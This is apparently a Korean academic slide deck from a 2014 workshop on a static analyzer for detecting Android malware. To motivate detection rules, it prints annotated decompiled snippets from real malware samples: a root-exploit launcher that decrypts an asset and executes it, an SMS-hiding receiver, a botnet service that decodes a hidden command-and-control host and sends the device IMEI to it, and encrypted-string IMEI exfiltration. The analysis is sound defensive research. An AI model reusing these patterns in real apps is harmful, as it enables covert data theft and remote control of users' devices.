40
안드로이드 악성앱 정적 분석기 윤용호 서울대학교 프로그래밍 연구실 2014.07.29 ROSAEC Workshop

ROSAEC Center - 안드로이드 악성앱 정적 분석기rosaec.snu.ac.kr/meet/file/20140729o.pdf · 2018. 4. 12. · Runtime.exec • 악성앱이 루트 권한 획득을 위해

  • Upload
    others

  • View
    1

  • Download
    0

Embed Size (px)

Citation preview

Page 1: ROSAEC Center - 안드로이드 악성앱 정적 분석기rosaec.snu.ac.kr/meet/file/20140729o.pdf · 2018. 4. 12. · Runtime.exec • 악성앱이 루트 권한 획득을 위해

안드로이드 악성앱 정적 분석기

윤용호 서울대학교 프로그래밍 연구실

!2014.07.29

ROSAEC Workshop

Page 2: ROSAEC Center - 안드로이드 악성앱 정적 분석기rosaec.snu.ac.kr/meet/file/20140729o.pdf · 2018. 4. 12. · Runtime.exec • 악성앱이 루트 권한 획득을 위해

왜? - 악성앱

• 악성앱은 계속 나오는데

악성앱은 계속 나오거든요!

Page 3: ROSAEC Center - 안드로이드 악성앱 정적 분석기rosaec.snu.ac.kr/meet/file/20140729o.pdf · 2018. 4. 12. · Runtime.exec • 악성앱이 루트 권한 획득을 위해

왜? - 악성앱

• 악성앱은 계속 나오는데

• 제대로 된 해법은 나오지 않음

Page 4: ROSAEC Center - 안드로이드 악성앱 정적 분석기rosaec.snu.ac.kr/meet/file/20140729o.pdf · 2018. 4. 12. · Runtime.exec • 악성앱이 루트 권한 획득을 위해

왜? - 악성앱

• 악성앱은 계속 나오는데

• 제대로 된 해법은 나오지 않음

• 악성앱을 수작업으로 분류했거나

Page 5: ROSAEC Center - 안드로이드 악성앱 정적 분석기rosaec.snu.ac.kr/meet/file/20140729o.pdf · 2018. 4. 12. · Runtime.exec • 악성앱이 루트 권한 획득을 위해

왜? - 악성앱

• 악성앱은 계속 나오는데

• 제대로 된 해법은 나오지 않음

• 악성앱을 수작업으로 분류했거나

• 코드 패턴으로, 알려진 악성앱만 검출하거나

Page 6: ROSAEC Center - 안드로이드 악성앱 정적 분석기rosaec.snu.ac.kr/meet/file/20140729o.pdf · 2018. 4. 12. · Runtime.exec • 악성앱이 루트 권한 획득을 위해

왜? - 악성앱

• 악성앱은 계속 나오는데

• 제대로 된 해법이 나오지 않음

• 악성앱을 수작업으로 분류했거나

• 코드 패턴으로, 알려진 악성앱만 검출하거나

• 개인정보 누출만 찾거나

Page 7: ROSAEC Center - 안드로이드 악성앱 정적 분석기rosaec.snu.ac.kr/meet/file/20140729o.pdf · 2018. 4. 12. · Runtime.exec • 악성앱이 루트 권한 획득을 위해

왜? - ScanDal

• 우리에게 ScanDal/Privacy가 있음

• 잘 작동하는 앞단

• 꽤 깊은 의미 분석

Page 8: ROSAEC Center - 안드로이드 악성앱 정적 분석기rosaec.snu.ac.kr/meet/file/20140729o.pdf · 2018. 4. 12. · Runtime.exec • 악성앱이 루트 권한 획득을 위해

왜? - ScanDal

• 우리에게 ScanDal/Privacy가 있음

• 잘 작동하는 앞단

• 꽤 깊은 의미 분석

• 조금만 고치면 확장될 것 같은데…?

뭘 좀 쐈으면 좋겠는데?!

Page 9: ROSAEC Center - 안드로이드 악성앱 정적 분석기rosaec.snu.ac.kr/meet/file/20140729o.pdf · 2018. 4. 12. · Runtime.exec • 악성앱이 루트 권한 획득을 위해

왜? - ScanDal• 우리에게 ScanDal/Privacy가 있음

• 잘 작동하는 앞단

• 꽤 깊은 의미 분석

• 조금만 고치면 확장될 것 같은데…?

• 코드 정리가 하고싶음

• 동료들이 연구에 참여하기 쉽도록

Page 10: ROSAEC Center - 안드로이드 악성앱 정적 분석기rosaec.snu.ac.kr/meet/file/20140729o.pdf · 2018. 4. 12. · Runtime.exec • 악성앱이 루트 권한 획득을 위해

두 단계로 이루어진 목표• 다양한 분석을 구현할 수 있는, 유용한 안드로이드 정적 분석 프레임워크 구현 및 공개

• 그 프레임워크 위에서 악성앱 검출기 만들기

Page 11: ROSAEC Center - 안드로이드 악성앱 정적 분석기rosaec.snu.ac.kr/meet/file/20140729o.pdf · 2018. 4. 12. · Runtime.exec • 악성앱이 루트 권한 획득을 위해

오늘 할 이야기

• 코드 곧 공개 됩니다

!

• 안드로이드 앱의 악성 행동은 어떤 것이 있는지

• 어떻게 분석하면 좋을지

Page 12: ROSAEC Center - 안드로이드 악성앱 정적 분석기rosaec.snu.ac.kr/meet/file/20140729o.pdf · 2018. 4. 12. · Runtime.exec • 악성앱이 루트 권한 획득을 위해

악성앱들이 하는 짓

• 자신의 나쁜 짓을 숨기기 위한 행동

• 대표적으로, 난독화

!

• 사용자에게 피해를 주는 나쁜 행동

Page 13: ROSAEC Center - 안드로이드 악성앱 정적 분석기rosaec.snu.ac.kr/meet/file/20140729o.pdf · 2018. 4. 12. · Runtime.exec • 악성앱이 루트 권한 획득을 위해

악성 행동*

• Exploit(비정상적인 루트 권한 획득)

• 개인정보 누출

• 수신한 SMS 훔치기(사용자가 볼 수 없도록)

• SMS 몰래 보내기

• 봇넷(좀비화)

* Yajin Zhou, and Xuxian Jiang, “Dissecting Android Malware: Characterization and Evolution”, Proceedings of the 33rd IEEE Symposium on Security and Privacy (Oakland 2012)13

Page 14: ROSAEC Center - 안드로이드 악성앱 정적 분석기rosaec.snu.ac.kr/meet/file/20140729o.pdf · 2018. 4. 12. · Runtime.exec • 악성앱이 루트 권한 획득을 위해

Exploit

• 유저 몰래 루트 권한을 획득

!

• 루트 권한이 있으면 기기에 거의 모든 일을 할 수 있음

!

• Runtime.exec(파일이름)으로 준비된 공격 바이너리 실행

14

Page 15: ROSAEC Center - 안드로이드 악성앱 정적 분석기rosaec.snu.ac.kr/meet/file/20140729o.pdf · 2018. 4. 12. · Runtime.exec • 악성앱이 루트 권한 획득을 위해

Runtime.exec• 악성앱이 루트 권한 획득을 위해 호출할 때는

• asset이라는 형태로 앱 패키지에 파일 내용을 기록해둠

• asset을 읽어 파일에 쓴 후 그 파일 이름으로 호출

!

• 일반 앱이 이 함수를 호출할 때는

• linux 명령어(ls, chmod, logcat, kill 등의) 실행을 위해 호출

!

• 그러므로, 분석할 땐 인자의 문자열만 잘 분석해도 될 것

15

Page 16: ROSAEC Center - 안드로이드 악성앱 정적 분석기rosaec.snu.ac.kr/meet/file/20140729o.pdf · 2018. 4. 12. · Runtime.exec • 악성앱이 루트 권한 획득을 위해

악성앱의 Runtime.exec 예*DroidKungFu1의 28176bc34e54e087e90bbbaba0c846ec9182db17

class com.google.ssearch.Utils {! copyAssets(ctx, animi, fname) {! out = new FileOutputStream(fname);! in = ctx.getAssets().open(aname);! if(aname.equals(“gjsvro”) ||! aname.equals(“ratc”) {! buf = new byte[SIZE];! in.read(buf);! buf = decrypt(buf);! out.write(buf);! }! else(…) {…} // other files! …! }!}

google인 척 하는 가짜

지정된 두 파일만decrypt 후 저장하고 다른 파일은 바로 저장

16

Page 17: ROSAEC Center - 안드로이드 악성앱 정적 분석기rosaec.snu.ac.kr/meet/file/20140729o.pdf · 2018. 4. 12. · Runtime.exec • 악성앱이 루트 권한 획득을 위해

악성앱의 Runtime.exec 예

class com.google.ssearch.SearchService {! getPermission1() {! s = “/gjsvro”;! fname = “/data/data/“ + packageName + s;! Utils.copyAssets(ctx, s, fname);!! cmd = “/system/bin/chmod”;! arg = “4755 “ + fname;! Utils.oldrun(cmd, arg);!! cmd2 = fname + “ /data/data/“ + packageName;! Utils.oldrun(cmd2, “”);! }!}

실행 권한을 주고

실행

*DroidKungFu1의 28176bc34e54e087e90bbbaba0c846ec9182db17

17

Page 18: ROSAEC Center - 안드로이드 악성앱 정적 분석기rosaec.snu.ac.kr/meet/file/20140729o.pdf · 2018. 4. 12. · Runtime.exec • 악성앱이 루트 권한 획득을 위해

개인정보 누출• 개인정보의 소스에서 싱크로 값 전달

• 매 워크샵마다 하던 이야기이므로 자세한 것은 생략

18

Page 19: ROSAEC Center - 안드로이드 악성앱 정적 분석기rosaec.snu.ac.kr/meet/file/20140729o.pdf · 2018. 4. 12. · Runtime.exec • 악성앱이 루트 권한 획득을 위해

수신한 SMS 훔치기• 특정 SMS를 훔쳐보거나 사용자가 볼 수 없게 조작

• 예: 과금 서비스에 몰래 가입한 후 확인 문자를 훔치기

• BroadcastReceiver로 SMS 수신 신호를 받고abortBroadcast를 호출하면 사용자가 확인할 수 없게 됨

• SMSBroadcastReceiver로부터abort를 호출하는 실행 흐름이존재할 수 있는지 분석하면 됨

19

Page 20: ROSAEC Center - 안드로이드 악성앱 정적 분석기rosaec.snu.ac.kr/meet/file/20140729o.pdf · 2018. 4. 12. · Runtime.exec • 악성앱이 루트 권한 획득을 위해

악성앱의 abortBroadcastclass SMSBroadcastReceiver extends BroadcastReceiver {! onReceive(ctx, intent) {! …! arr = (Object[]) intent.getExtras().get(“pdus”);! marr = new SmsMessage[arr.length];! for(i=0;i<arr.length;i++) {! buf = (byte[])arr[i];! msg = SmsMessage.createFromPdu(buf);! marr[i] = msg;! }! s = marr[0].getMessageBody();! s2 = SharedPreference.getString! (“sms_keyword”, “Bring me back my droid”);! if(!s.equalsIgnoreCase(s2)) return;! abortBroadcast();! …! }!}

Manifest에 등록해둔, SMS 수신 감지 리시버

intent에서 문자 메시지 데이터를 뽑아둠

지정해둔 내용과 일치하는 메시지이면

abort

*Plankton의 202252e3767456e95b27d0476ae29bcc11253c1e

20

Page 21: ROSAEC Center - 안드로이드 악성앱 정적 분석기rosaec.snu.ac.kr/meet/file/20140729o.pdf · 2018. 4. 12. · Runtime.exec • 악성앱이 루트 권한 획득을 위해

일반앱의 abortBroadcast

• galaxynote2 기본앱 SecEmail에서비슷한 패턴으로 SMSBroadcast를 abort 함

• 어떤 메일 서비스 관련 알림을 SMS로 받고 로그만 남긴 후abort 하는 것으로 보임

!

• 사용자가 인지하고 있는 abort인지 물어보는 식으로 경보

21

Page 22: ROSAEC Center - 안드로이드 악성앱 정적 분석기rosaec.snu.ac.kr/meet/file/20140729o.pdf · 2018. 4. 12. · Runtime.exec • 악성앱이 루트 권한 획득을 위해

SMS 몰래 보내기• sendTextMessage로 문자메시지를 보낼 수 있음

• 악성앱은 앱 실행 이후 유저 입력을 거치지 않고도 문자를 보냄

• 일반앱은 유저 입력(예: onClick)을 거쳐 문자를 보냄

!

• 프로그램 시작점~sendTextMessage 사이에유저 입력 이벤트가 반드시 존재하는지 분석

22

Page 23: ROSAEC Center - 안드로이드 악성앱 정적 분석기rosaec.snu.ac.kr/meet/file/20140729o.pdf · 2018. 4. 12. · Runtime.exec • 악성앱이 루트 권한 획득을 위해

봇넷

• DDOS 공격 등에 이용하기 위해 기기를 감염시킴

• 감염된 기기에는 악성앱이 상주하며 공격자의 명령들을 수행함

!

• 특별히 특정할 만한 분석 방법아이디어는 아직 없음

23

Page 24: ROSAEC Center - 안드로이드 악성앱 정적 분석기rosaec.snu.ac.kr/meet/file/20140729o.pdf · 2018. 4. 12. · Runtime.exec • 악성앱이 루트 권한 획득을 위해

봇넷 앱의 특징• 기기에서 항상 실행돼있어야 하므로

• 기기가 부팅되자마자 자동으로 실행

• 서비스가 백그라운드로 계속 유지됨

!

• 공격자의 명령을 수행해야하므로

• 상주하는 서비스에서 외부 명령을 네트워크를 통해 받고

• 가상머신처럼 명령에 따라 분기하여 명령 수행

24

Page 25: ROSAEC Center - 안드로이드 악성앱 정적 분석기rosaec.snu.ac.kr/meet/file/20140729o.pdf · 2018. 4. 12. · Runtime.exec • 악성앱이 루트 권한 획득을 위해

봇넷 앱의 예AndroidManifest.xml!…! <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" >…! <receiver android:name="com.android.AndroidActionReceiver" > <intent-filter> <action android:name="android.intent.action.BOOT_COMPLETED" > </action> </intent-filter> </receiver>

*Pjapp의 75a79a3ad1ff291ee1d9c614010ba17ae9f09255

권한 필요

부팅할 때마다 호출됨

class AndroidActionReceiver extends BroadcastReceiver {! onReceive(context, intent) {! i = new Intent(context, MainService.class);! startService(i); }!}

MainService를 부팅할 때마다 시작

25

Page 26: ROSAEC Center - 안드로이드 악성앱 정적 분석기rosaec.snu.ac.kr/meet/file/20140729o.pdf · 2018. 4. 12. · Runtime.exec • 악성앱이 루트 권한 획득을 위해

봇넷 앱의 예class MainService extends Service {! execTask() {! … // imei 등 온갖 기기 정보를 수집! url = “http://“ +! com.android.Base64.encode(“axdmflsadneddrwo3i2df138a8bcao3m”, 1)! + “:8118/push/androidxml/“;! url = url + …; // 위에서 수집한 정보들을 parameter로 이어붙임! xml = BaseAuthenicationHttpClient.getStringByURL(url);! cmd = StringUtil.getSubString(xml, “<task>”, “</task>”);! …! if(cmd = “note”) sendSms(…);! if(cmd = “push”) execPush(…);! if(cmd = “soft”) execSoft(…);! if(cmd = “tanc”) execSoft(…);! if(cmd = “tanc” || cmd = “xbox”) return;! if(cmd = “mark”) execMark(…); }!}

*Pjapp의 75a79a3ad1ff291ee1d9c614010ba17ae9f09255

명령 수행

26

Page 27: ROSAEC Center - 안드로이드 악성앱 정적 분석기rosaec.snu.ac.kr/meet/file/20140729o.pdf · 2018. 4. 12. · Runtime.exec • 악성앱이 루트 권한 획득을 위해

자신을 숨기는 행동

• 직접 나쁜 일을 하진 않고, 진짜 악성앱을 설치하도록 유도

• 앱 간 통신을 통해 개인정보 누출

• 문자열을 적극 활용

• 문자열을 쉽게 알아볼 수 없도록 숨김

27

Don’t let them see!

Page 28: ROSAEC Center - 안드로이드 악성앱 정적 분석기rosaec.snu.ac.kr/meet/file/20140729o.pdf · 2018. 4. 12. · Runtime.exec • 악성앱이 루트 권한 획득을 위해

악성앱 설치 유도• asset에 악성앱 파일을 저장해놓고 설치하도록 함

• 업데이트 하라는 메시지를 출력하고 네트워크로부터 악성 버전 앱을 다운받아 설치함

• 마켓 시스템에 대해 잘 모르는 일반인은 당하기 쉬움

!

• 업데이트 및 앱 설치는마켓을 통해 이뤄져야 하므로, 앱 설치 유도 자체를 무조건 악성 행동으로 볼 수 있음

28

Page 29: ROSAEC Center - 안드로이드 악성앱 정적 분석기rosaec.snu.ac.kr/meet/file/20140729o.pdf · 2018. 4. 12. · Runtime.exec • 악성앱이 루트 권한 획득을 위해

앱 설치를 시도하는지 분석하는 방법

File apkFile = new File(inputFile); Uri apkUri = Uri.fromFile(apkFile); Intent intent = new Intent(Intent.ACTION VIEW);!intent.setDataAndType(apkUri, "application/vnd.android.package-archive"); startActivity(intent);

• intent의 action, data, type이 앱 설치 시도인 경우를 찾으면 됨

29

Page 30: ROSAEC Center - 안드로이드 악성앱 정적 분석기rosaec.snu.ac.kr/meet/file/20140729o.pdf · 2018. 4. 12. · Runtime.exec • 악성앱이 루트 권한 획득을 위해

앱 간 통신을 이용하는 경우• 앱 1에서 intent를 통해 앱 2로 개인정보를 전송

• 앱 2에서는 intent로 받은 개인정보를 밖으로 누출

• 따로 떼어놓고 보면 (정의하기에 따라) 누출이 아닌 앱

!

• intent를 소스, 싱크로 두면 기존 방식으로도 잡을 수 있지만 허위 경보가 많아짐

• 두 앱을 붙여서 동시에 분석하여 해결 가능

• 시작점이 두 개 이상인 프로그램처럼

30

Page 31: ROSAEC Center - 안드로이드 악성앱 정적 분석기rosaec.snu.ac.kr/meet/file/20140729o.pdf · 2018. 4. 12. · Runtime.exec • 악성앱이 루트 권한 획득을 위해

문자열의 좋지 않은 활용

• 문자열 상수라 해도 곱게 쓰지 않음

• 중요 값들을 변형시켜서 저장해두었다가 내보냄

• reflection과 함께 활용되기도 함

31

Page 32: ROSAEC Center - 안드로이드 악성앱 정적 분석기rosaec.snu.ac.kr/meet/file/20140729o.pdf · 2018. 4. 12. · Runtime.exec • 악성앱이 루트 권한 획득을 위해

문자열 활용의 예: 아까 그 봇넷 앱

class MainService extends Service {! execTask() {! … // imei 등 온갖 기기 정보를 수집! url = “http://“ +! com.android.Base64.encode(“axdmflsadneddrwo3i2df138a8bcao3m”, 1)! + “:8118/push/androidxml/“;! url = url + …; // 위에서 수집한 정보들을 parameter로 이어붙임! xml = BaseAuthenicationHttpClient.getStringByURL(url);! cmd = StringUtil.getSubString(xml, “<task>”, “</task>”);! …! if(cmd = “note”) sendSms(…);! if(cmd = “push”) execPush(…);! if(cmd = “soft”) execSoft(…);! if(cmd = “tanc”) execSoft(…);! if(cmd = “tanc” || cmd = “xbox”) return;! if(cmd = “mark”) execMark(…); }!}

*Pjapp의 75a79a3ad1ff291ee1d9c614010ba17ae9f09255

명령 수행

32

Page 33: ROSAEC Center - 안드로이드 악성앱 정적 분석기rosaec.snu.ac.kr/meet/file/20140729o.pdf · 2018. 4. 12. · Runtime.exec • 악성앱이 루트 권한 획득을 위해

class MainService extends Service {! execTask() {! … // imei 등 온갖 기기 정보를 수집! url = “http://“ +! com.android.Base64.encode(“axdmflsadneddrwo3i2df138a8bcao3m”, 1)! + “:8118/push/androidxml/“;! url = url + …; // 위에서 수집한 정보들을 parameter로 이어붙임! xml = BaseAuthenicationHttpClient.getStringByURL(url);! cmd = StringUtil.getSubString(xml, “<task>”, “</task>”);! …! if(cmd = “note”) sendSms(…);! if(cmd = “push”) execPush(…);! if(cmd = “soft”) execSoft(…);! if(cmd = “tanc”) execSoft(…);! if(cmd = “tanc” || cmd = “xbox”) return;! if(cmd = “mark”) execMark(…); }!}

*Pjapp의 75a79a3ad1ff291ee1d9c614010ba17ae9f09255

???

33

문자열 활용의 예: 아까 그 봇넷 앱

Page 34: ROSAEC Center - 안드로이드 악성앱 정적 분석기rosaec.snu.ac.kr/meet/file/20140729o.pdf · 2018. 4. 12. · Runtime.exec • 악성앱이 루트 권한 획득을 위해

*Pjapp의 75a79a3ad1ff291ee1d9c614010ba17ae9f09255

class MainService extends Service {! execTask() {! … // imei 등 온갖 기기 정보를 수집! url = “http://“ + com.android.Base64.encode(! “axdmflsadneddrwo3i2df138a8bcao3m”, 1) +! “:8118/push/androidxml/“;! url = url + …; // 위에서 수집한 정보들을 parameter로 이어붙임! xml = BaseAuthenicationHttpClient.getStringByURL(url);! cmd = StringUtil.getSubString(xml, “<task>”, “</task>”);! …! if(cmd = “note”) sendSms(…);! if(cmd = “push”) execPush(…);! if(cmd = “soft”) execSoft(…);! if(cmd = “tanc”) execSoft(…);! if(cmd = “tanc” || cmd = “xbox”) return;! if(cmd = “mark”) execMark(…); }!}

가짜. 실제 Base64 라이브러리는 android.util.Base64임. com.android.Base64엔 자체 제작된 인코더 구현

34

문자열 활용의 예: 아까 그 봇넷 앱

Page 35: ROSAEC Center - 안드로이드 악성앱 정적 분석기rosaec.snu.ac.kr/meet/file/20140729o.pdf · 2018. 4. 12. · Runtime.exec • 악성앱이 루트 권한 획득을 위해

*Pjapp의 75a79a3ad1ff291ee1d9c614010ba17ae9f09255

class com.android.Base64 {! encode(input, flag) {! // input = axdmflsadneddrwo3i2df138a8bcao3m! if(input==null || input.length<10) return "";! buf = new StringBuffer();! for(i=0;i<input.length/2;i++) {! buf = buf + input.subString(i*2+1, i*2+2);! // i=0:(1,2) i=1:(3,4) i=2:(5,6) …! // 홀수 인덱스 글자만 모음! }! odd = buf.toString(); // xmlandroid188com! buf = new StringBuilder(odd.subString(0,3)) + “.”; // “xml.”! buf = buf + odd.subString(3,odd.length-3)+"."; // xml.android188.! buf = buf + odd.subString(odd.length-3); // xml.android188.com! return buf.toString();! }!}

35

문자열 활용의 예: 아까 그 봇넷 앱

Page 36: ROSAEC Center - 안드로이드 악성앱 정적 분석기rosaec.snu.ac.kr/meet/file/20140729o.pdf · 2018. 4. 12. · Runtime.exec • 악성앱이 루트 권한 획득을 위해

*Pjapp의 75a79a3ad1ff291ee1d9c614010ba17ae9f09255

class MainService extends Service {! execTask() {! … // imei 등 온갖 기기 정보를 수집! url = “http://xml.android188.com:8188/push/androidxml/“! url = url + …; // 위에서 수집한 정보들을 parameter로 이어붙임! xml = BaseAuthenicationHttpClient.getStringByURL(url);! cmd = StringUtil.getSubString(xml, “<task>”, “</task>”);! …! if(cmd = “note”) sendSms(…);! if(cmd = “push”) execPush(…);! if(cmd = “soft”) execSoft(…);! if(cmd = “tanc”) execSoft(…);! if(cmd = “tanc” || cmd = “xbox”) return;! if(cmd = “mark”) execMark(…); }!}

36

문자열 활용의 예: 아까 그 봇넷 앱

Page 37: ROSAEC Center - 안드로이드 악성앱 정적 분석기rosaec.snu.ac.kr/meet/file/20140729o.pdf · 2018. 4. 12. · Runtime.exec • 악성앱이 루트 권한 획득을 위해

문자열 활용의 다른 예*Geinimi의 0015e260740a3963c724be95f966c6063077979c

class sex.sexy.model13.e.p {! static byte[] a;! static Cipher b;! static {! t = new byte[101][];! t[0] = new byte[16] {0x55, 0x35, 0x02, 0x34, …};! t[1] = new byte[16] {…};! t[2] = new byte[8] {0xaf, 0xae, 0x2a, 0x9e, …};! …! }! String a(int i) {! if(i<=101) {! byte_array = a(a[i]);! return new String(byte_array, “UTF-8”);! }! else return 0;! }! byte []a(byte input[]) {! // input을 DES decrypt한 결과를 리턴! }!}

예를 들어 t[70]에는 “imei”가 encrypt 되어

들어있을것으로 추정

i번째 array를 꺼내 decrypt 한 후

문자열로 바꿔 리턴

37

Page 38: ROSAEC Center - 안드로이드 악성앱 정적 분석기rosaec.snu.ac.kr/meet/file/20140729o.pdf · 2018. 4. 12. · Runtime.exec • 악성앱이 루트 권한 획득을 위해

*Geinimi의 0015e260740a3963c724be95f966c6063077979c

class sex.sexy.model13.g implements Runnable {! void run() {! …! map = new HashMap();! key = e.p.a(70);! val = e.k.h; // IMEI! map.put(key, val);! …! e.n.a(…, map, …);! }!}!class sex.sexy.model13.e.n {! void a(…, Map map, …) {! buf = new Stringbuffer();! for ((key, val) in map) do {! buf = buf + key + “=“ + val + “&”;! }! url = “http://...” + “parms=“ + buf;! // connect to url! }!}

38

문자열 활용의 다른 예

Page 39: ROSAEC Center - 안드로이드 악성앱 정적 분석기rosaec.snu.ac.kr/meet/file/20140729o.pdf · 2018. 4. 12. · Runtime.exec • 악성앱이 루트 권한 획득을 위해

마무리• 이런 악성앱들을 열심히 잡아보겠습니다

• 코드 잘 정리해 공개하겠습니다

39

!!!

?

Page 40: ROSAEC Center - 안드로이드 악성앱 정적 분석기rosaec.snu.ac.kr/meet/file/20140729o.pdf · 2018. 4. 12. · Runtime.exec • 악성앱이 루트 권한 획득을 위해

질문?

40